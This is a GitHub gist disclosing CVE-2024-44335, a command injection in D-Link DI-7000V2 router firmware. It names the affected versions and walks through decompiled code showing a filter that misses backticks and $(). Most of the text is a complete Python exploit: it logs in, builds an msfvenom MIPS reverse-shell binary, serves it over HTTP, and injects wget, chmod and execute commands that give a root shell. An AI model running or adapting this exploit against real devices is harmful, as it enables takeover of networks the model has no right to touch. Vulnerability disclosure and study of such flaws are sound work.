Last active
September 9, 2024 13:22
Revisions
-
Swind1er revised this gist
Sep 9, 2024 . 1 changed file with 5 additions and 2 deletions.There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,11 +1,14 @@ # Proof of Concept (POC) for Command Execution Vulnerability in D-link DI7000V2 Series Routers via `version_upgrade_asp-CGI` **CVE-2024-44335** ## Manufacturer's Official Website [D-Link | Welcome (dlink.com.cn)](http://www.dlink.com.cn/) ## Affected Device Models and Firmware Versions 1. DI_7003G-19.12.24A1 -
Swind1er created this gist
Sep 9, 2024 .There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,373 @@ [toc] # roof of Concept (POC) for Command Execution Vulnerability in D-link DI7000V2 Series Routers via `version_upgrade_asp-CGI` ## Manufacturer's Official Website [D-Link | Welcome (dlink.com.cn)](http://www.dlink.com.cn/) ## Affected Device Models and Firmware Versions 1. DI_7003G-19.12.24A1 2. DI_7003GV2-24.04.18D1 3. DI_7100G+V2-24.04.18D1 4. DI_7100GV2-24.04.18D1 5. DI_7200GV2-24.04.18E1 6. DI_7300G+V2-24.04.18D1 7. DI_7400G+V2-24.04.18D1 ## Vulnerability Type [RCE] Authorized Remote Command Execution ## Vulnerability Description In several models of the DI-7000V2 series routers produced by D-Link (Shanghai) Co., Ltd., there is an issue with insufficient filtering of HTTP request parameters. An attacker can exploit this vulnerability by crafting specific HTTP requests to trigger a command execution vulnerability and gain the highest privilege shell access to the firmware system. **Make Your Life Simpler:** https://github.com/Swind1er/Video/raw/main/D-link_DI7000V2_version_upgrade_asp-Vulnerability_Demonstration_Video.mp4 ## Vulnerability Analysis  Taking DI_7003GV2-24.04.18D1 as an example, the vulnerability exists in the `jhttpd` binary program within the firmware file system, specifically in the handler function `sub_4381F8` for the `version_upgrade.asp` CGI. The following is a simplified version of the code: ```C int __fastcall sub_4381F8(int a1) { parm = httpd_get_parm(a1, "path"); v3 = httpd_get_parm(a1, "type"); if ( parm ) { v4 = jiffies_get(); mod_timer(a1 + 0x19290, v4 + 0x30D40); v5 = commandInjectionCheck((int)parm); v6 = (const char *)v5; if ( v3 && (v22 = (const char *)v5, v7 = strcmp(v3, "1"), v6 = v22, !v7) ) sprintf(v21, "wys version_upgrade \"%s\" %s >> /tmp/version_upgrade.txt", v22, "1"); else sprintf(v21, "wys version_upgrade \"%s\" %s >> /tmp/version_upgrade.txt", v6, "0"); jhl_system(v21); return httpd_cgi_ret(a1, v21, v11, 4); } ``` It can be seen that the external parameter `path` is checked for command injection using the `commandInjectionCheck` function, which is implemented as follows: ```c int *__fastcall commandInjectionCheck(int a1) { _BYTE *v2; // $v0 _BYTE *v3; // $v0 _BYTE *v4; // $v0 memset(&check_buf, 0, 0x400); strncpy(&check_buf, a1, 0x400); v2 = (_BYTE *)strchr(&check_buf, '&'); isInjected = (int)v2; if ( v2 ) *v2 = 0; v3 = (_BYTE *)strchr(&check_buf, '|'); isInjected = (int)v3; if ( v3 ) *v3 = 0; v4 = (_BYTE *)strchr(&check_buf, ';'); isInjected = (int)v4; if ( v4 ) *v4 = 0; return &check_buf; } ``` It is evident that the function only filters the characters `&`, `|`, and `;`. Other strings, such as `$()`, can still be used for command injection. After passing through this checking function, the formatted string is executed via `jhl_system(v21);`. The implementation of the `jhl_system()` function is located in `libshared.so` and is as follows: ```c int __fastcall jhl_system(int a1) { v1 = fork(); if ( v1 == 0xFFFFFFFF ) { perror("fork"); return *(_DWORD *)_errno_location(); } else { if ( !v1 ) { for ( i = 0; i != 0x80; ++i ) { v5 = i; signal(v5, 0); } v6 = 3; setsid(); close(0); close(1); close(2); open("/dev/null", 0); open("/dev/null", 1); open("/dev/null", 1); do { v7 = v6++; close(v7); } while ( v6 != 0x8000 ); system(a1); exit(1); } waitpid(v1, v8, 0); result = v8[0]; if ( (v8[0] & 0x7F) == 0 ) return (v8[0] & 0xFF00) >> 8; } return result; } ``` The command string passed to `jhl_system` is executed using the `system` function, thereby forming a command execution chain. For more details, please refer to the EXP and the vulnerability demonstration video. ## EXP ### Require - Metasploit Framework (Tested on Version: 6.4.9-dev) The script depends on the Metasploit framework. When running the script, msf will start listening. Please press Enter to continue the script execution once the listening process is complete. For more details, refer to the demonstration video. ### Payload ```python # -*- coding: utf-8 -*- """ D-Link DI7000V2 Series Multiple Routers Command Execution Vulnerability Exploit. MIT License Copyright (c) 2024 Swind1er Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import requests import logging import argparse import re import time import subprocess import os logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') __author__ = "Yaxuan Wang(Sw1ndl3r)" __email__ = "2532775668@qq.com" def get_current_timestamp(): return int(time.time() * 1000) def custom_quote(value): return value.replace(' ', '%20') def generate_payload(lhost, lport): command = [ 'msfvenom', '-p', 'linux/mipsle/shell/reverse_tcp', f'lhost={lhost}', f'lport={lport}', '-f', 'elf', '-o', '3' ] logging.debug(f'Running command: {" ".join(command)}') try: result = subprocess.run(command, capture_output=True, text=True, check=True) logging.info(f'Payload generated successfully.') return True except subprocess.CalledProcessError as e: logging.error(f'Error generating payload: {e.stderr}') return False def start_http_server(): command = ['python', '-m', 'http.server', '80'] process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) logging.info(f"HTTP server started with command: {' '.join(command)}") time.sleep(2) # Give the server some time to start return process def login(session, host, username, password): url = f"http://{host}/login.cgi" headers = { "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{host}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": f"http://{host}/login.html", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Cookie": "userid=admin", "Connection": "close" } payload = f"user={username}&password={password}&Submit=%E7%99%BB%E5%BD%95" logging.debug(f'Sending login request to {url} with payload: {payload}') response = session.post(url, data=payload, headers=headers) if response.status_code == 200: logging.debug(f'Received response: {response.text}') match = re.search(r"window.open\('([^']+)", response.text) if match: redirect_url = match.group(1) logging.debug(f'Extracted redirect URL: {redirect_url}') return redirect_url else: logging.error('Login failed: redirect URL not found in response.') return None else: logging.error(f'Login request failed with status code: {response.status_code}') return None def send_request(session, host, referer, cmd): url = f"http://{host}/upgrade_filter.asp" headers = { "Accept": "application/json, text/javascript, */*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36", "Referer": f"http://{host}/{referer}", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Cookie": "userid=admin; gw_userid=admin,gw_passwd=73B9AFDFA9F7011E0553CF9A78DE320D", "Connection": "close" } encoded_name = custom_quote(f"`{cmd}`") params = ( f"path={encoded_name}&" f"time=0&" f"_{get_current_timestamp()}" ) request_url = f"{url}?{params}" logging.debug(f'Sending GET request to {request_url}') response = session.get(request_url, headers=headers) if response.status_code == 200: logging.debug(f'Received response: {response.text}') return response.json() else: logging.error(f'GET request failed with status code: {response.status_code}') return None def msf_listen(host, port): cfg_file_path = 'cfg.rc' logging.info(f'Creating Metasploit configuration file at {cfg_file_path}') with open(cfg_file_path, 'w') as cfg_file: cfg_file.write('use exploit/multi/handler\n') cfg_file.write('set payload linux/mipsle/shell/reverse_tcp\n') cfg_file.write(f'set lhost {host}\n') cfg_file.write(f'set lport {port}\n') cfg_file.write('run\n') logging.info(f'Metasploit configuration written to {cfg_file_path}') if os.name == 'posix': # Unix-like (Linux, macOS) logging.info(f'Starting msfconsole with command: x-terminal-emulator -e msfconsole -r {cfg_file_path}') subprocess.Popen(['x-terminal-emulator', '-e', 'msfconsole -r', cfg_file_path]) elif os.name == 'nt': # Windows logging.info(f'Starting msfconsole with command: cmd /c start msfconsole -r {cfg_file_path}') subprocess.Popen(['cmd', '/c', 'start', 'msfconsole', '-r', cfg_file_path]) else: logging.error('Unsupported operating system.') def main(): session = requests.session() parser = argparse.ArgumentParser(description='D-Link DI7000V2 Series Multiple Routers Command Execution Vulnerability Exploit') parser.add_argument('-r', '--router', metavar='router', default='192.168.0.1', help='Router IP address.') parser.add_argument('-H', '--host', metavar='host', help='Host IP address.') parser.add_argument('-u', '--username', metavar='Username', required=True, help='Login username.') parser.add_argument('-p', '--password', metavar='Password', required=True, help='Login password.') parser.add_argument('-P', '--port', metavar='Port', required=True, help='Port to listen on.') args = parser.parse_args() logging.info(f'Starting exploit script by {__author__} ({__email__})') logging.info(f'Router IP: {args.router}, Host IP: {args.host}, Username: {args.username}, Password: {args.password}, Port: {args.port}') if not generate_payload(args.host, args.port): logging.error('Payload generation failed.') return msf_listen(args.host, args.port) input("Press Enter to continue once msfconsole is in listening state...\n") process = start_http_server() commands = [ f'wget http://{args.host}/3', 'chmod +x ./3', './3', 'rm ./3' ] redirect_url = login(session, args.router, args.username, args.password) if redirect_url: logging.info('Login successful. Redirect URL obtained.') for cmd in commands: logging.info(f'Executing command: "{cmd}"') response = send_request(session, args.router, redirect_url, cmd) if response: logging.debug(f'Command "{cmd}" response: {response}') logging.info(f'"Successfully executed command: "{cmd}"') else: logging.error(f'Failed to execute command: "{cmd}"') else: logging.error('Login failed. Unable to obtain redirect URL.') process.kill() logging.info('HTTP server stopped.') for file_path in ['3', 'cfg.rc']: if os.path.exists(file_path): os.remove(file_path) logging.info(f'Removed file: {file_path}') else: logging.warning(f'File not found: {file_path}') if __name__ == "__main__": main() ```